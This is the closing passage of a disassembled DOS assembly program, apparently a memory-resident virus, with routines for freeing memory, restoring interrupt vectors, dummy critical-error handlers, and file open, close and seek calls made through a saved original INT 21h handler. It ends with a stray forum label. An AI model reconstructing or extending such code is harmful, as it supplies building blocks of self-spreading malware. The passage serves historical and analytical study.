    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_13 proc near

    pushf ; Push flags

    call sub_24 ; (0884)

    mov ah,49h ; 'I'

    push ds

    pop es

    int 21h ; DOS Services ah=function 49h

    ; release memory block, es=seg

    mov ah,49h ; 'I'

    mov es,ds:data_8e ; (0046:002C=50h)

    int 21h ; DOS Services ah=function 49h

    ; release memory block, es=seg

    mov ah,50h ; 'P'

    mov bx,ds:data_7e ; (0046:0016=0)

    int 21h ; DOS Services ah=function 50h

    ; set active PSP segmnt from bx

    mov ax,2522h

    lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr

    int 21h ; DOS Services ah=function 25h

    ; set intrpt vector al to ds:dx

    call sub_25 ; (0896)

    popf ; Pop flags

    retn

    sub_13 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_14 proc near

    mov si,dx

    cmp byte ptr [si],0FFh

    jne loc_ret_80 ; Jump if not equal

    add si,7

    loc_ret_80:

    retn

    sub_14 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_15 proc near

    call sub_24 ; (0884)

    call sub_14 ; (0814)

    push cs

    pop es

    mov dx,904h

    mov di,dx

    cld ; Clear direction

    lodsb ; String [si] to al

    or al,al ; Zero ?

    jz loc_81 ; Jump if zero

    add al,40h ; '@'

    mov ah,3Ah ; ':'

    stosw ; Store ax to es:[di]

    loc_81:

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    movsw ; Mov [si] to es:[di]

    mov al,2Eh ; '.'

    stosb ; Store al to es:[di]

    movsw ; Mov [si] to es:[di]

    movsb ; Mov [si] to es:[di]

    xor al,al ; Zero register

    stosb ; Store al to es:[di]

    push es

    pop ds

    call sub_3 ; (0519)

    call sub_25 ; (0896)

    retn

    sub_15 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_16 proc near

    push ax

    mov ax,cs

    jmp short loc_82 ; (0854)

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_17:

    push ax

    xor ax,ax ; Zero register

    loc_82:

    push bx

    push ds

    mov bx,cs

    dec bx

    mov ds,bx

    mov ds:data_16e,ax ; (8343:0001=0FFFFh)

    pop ds

    pop bx

    pop ax

    retn

    sub_16 endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_18 proc near

    mov ax,3D00h

    jmp short loc_83 ; (0879)

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_19:

    mov ah,3Eh ; '>'

    jmp short loc_83 ; (0879)

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_20:

    mov ax,4200h

    jmp short loc_83 ; (0879)

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_21:

    mov ax,4202h

    jmp short loc_83 ; (0879)

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_22:

    push word ptr [bp+6]

    popf ; Pop flags

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_23:

    loc_83:

    pushf ; Push flags

    cli ; Disable interrupts

    call dword ptr cs:data_20 ; (8344:08AB=0)

    retn

    sub_18 endp

    ;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

    ;

    ; External Entry Point

    ;

    ;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

    int_24h_entry proc far

    mov al,3

    int_24h_entry endp

    ;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

    ;

    ; External Entry Point

    ;

    ;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

    int_23h_entry proc far

    iret ; Interrupt return

    int_23h_entry endp

    ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    ; SUBROUTINE

    ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    sub_24 proc near

    pop cs:data_32 ; (8344:08C7=0)

    push ds

    push dx

    push es

    push bx

    push ax

    push cx

    push si

    push di

    push bp

    mov bp,sp

    jmp short loc_84 ; (08A6)

    ;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

    sub_25:

    pop cs:data_32 ; (8344:08C7=0)

    mov sp,bp

    pop bp

    pop di

    pop si

    pop cx

    pop ax

    pop bx

    pop es

    pop dx

    pop ds

    loc_84:

    jmp word ptr cs:data_32 ; (8344:08C7=0)

    data_20 dd 00000h

    data_21 dd 00000h

    data_22 dw 0, 8344h

    data_24 dw 0, 8344h

    data_26 dw 0, 8344h

    data_28 dw 0, 8344h

    data_30 dw 0, 8344h

    data_32 dw 0

    data_33 db 0

    data_34 dw 0

    data_35 dw 0

    data_36 dw 0

    data_37 dw 0

    data_38 dw 0

    data_39 dw 0

    db 12 dup (0)

    data_41 dw 0

    data_42 dw 0

    data_43 dd 00000h

    data_45 dw 0

    db 0, 0, 0, 0

    data_46 dw 0

    data_47 dw 0

    db 10 dup (0)

    data_48 dw 0

    sub_24 endp

    seg_a ends

    end start


    最新回复(0)